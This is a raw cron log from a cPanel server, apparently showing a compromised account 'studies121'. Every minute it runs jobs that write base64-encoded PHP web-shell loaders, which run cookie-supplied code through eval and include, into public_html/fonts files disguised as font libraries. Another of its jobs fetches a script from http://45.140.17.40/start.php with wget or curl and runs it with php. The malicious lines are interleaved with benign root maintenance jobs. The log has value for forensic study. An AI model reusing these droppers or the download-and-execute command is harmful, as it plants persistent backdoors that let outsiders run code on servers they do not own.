Sep  3 20:04:01 ip-184-168-122-23 CROND[24682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:04:01 ip-184-168-122-23 CROND[24683]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:04:01 ip-184-168-122-23 CROND[24681]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:05:01 ip-184-168-122-23 CROND[24765]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 20:05:01 ip-184-168-122-23 CROND[24766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:05:01 ip-184-168-122-23 CROND[24767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:05:01 ip-184-168-122-23 CROND[24770]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 20:05:01 ip-184-168-122-23 CROND[24772]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 20:05:01 ip-184-168-122-23 CROND[24774]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:05:01 ip-184-168-122-23 CROND[24775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:06:01 ip-184-168-122-23 CROND[24863]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:06:01 ip-184-168-122-23 CROND[24865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:06:01 ip-184-168-122-23 CROND[24866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:06:01 ip-184-168-122-23 CROND[24869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:06:01 ip-184-168-122-23 CROND[24867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:07:01 ip-184-168-122-23 CROND[24960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:07:01 ip-184-168-122-23 CROND[24963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:07:01 ip-184-168-122-23 CROND[24962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:07:01 ip-184-168-122-23 CROND[24964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:08:01 ip-184-168-122-23 CROND[25139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:08:01 ip-184-168-122-23 CROND[25141]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:08:01 ip-184-168-122-23 CROND[25140]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:08:01 ip-184-168-122-23 CROND[25143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:08:01 ip-184-168-122-23 CROND[25145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:09:02 ip-184-168-122-23 CROND[25234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:09:02 ip-184-168-122-23 CROND[25236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:09:02 ip-184-168-122-23 CROND[25239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:09:02 ip-184-168-122-23 CROND[25237]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 20:09:02 ip-184-168-122-23 CROND[25245]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:10:01 ip-184-168-122-23 CROND[25338]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:10:02 ip-184-168-122-23 CROND[25340]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 20:10:02 ip-184-168-122-23 CROND[25345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:10:02 ip-184-168-122-23 CROND[25341]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:10:02 ip-184-168-122-23 CROND[25343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:10:02 ip-184-168-122-23 CROND[25342]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 20:10:02 ip-184-168-122-23 CROND[25346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:10:02 ip-184-168-122-23 CROND[25344]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 20:11:01 ip-184-168-122-23 CROND[25449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:11:01 ip-184-168-122-23 CROND[25452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:11:01 ip-184-168-122-23 CROND[25450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:11:01 ip-184-168-122-23 CROND[25451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:12:01 ip-184-168-122-23 CROND[25530]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:12:01 ip-184-168-122-23 CROND[25532]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:12:01 ip-184-168-122-23 CROND[25533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:12:01 ip-184-168-122-23 CROND[25534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:12:01 ip-184-168-122-23 CROND[25536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:13:01 ip-184-168-122-23 CROND[25657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:13:01 ip-184-168-122-23 CROND[25659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:13:01 ip-184-168-122-23 CROND[25661]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:13:01 ip-184-168-122-23 CROND[25663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:14:01 ip-184-168-122-23 CROND[25785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:14:01 ip-184-168-122-23 CROND[25786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:14:01 ip-184-168-122-23 CROND[25788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:14:01 ip-184-168-122-23 CROND[25789]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:14:01 ip-184-168-122-23 CROND[25791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:15:01 ip-184-168-122-23 CROND[25876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:15:01 ip-184-168-122-23 CROND[25883]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 20:15:01 ip-184-168-122-23 CROND[25882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:15:01 ip-184-168-122-23 CROND[25878]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  3 20:15:01 ip-184-168-122-23 CROND[25879]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:15:01 ip-184-168-122-23 CROND[25880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:15:01 ip-184-168-122-23 CROND[25881]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 20:16:01 ip-184-168-122-23 CROND[25972]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:16:01 ip-184-168-122-23 CROND[25973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
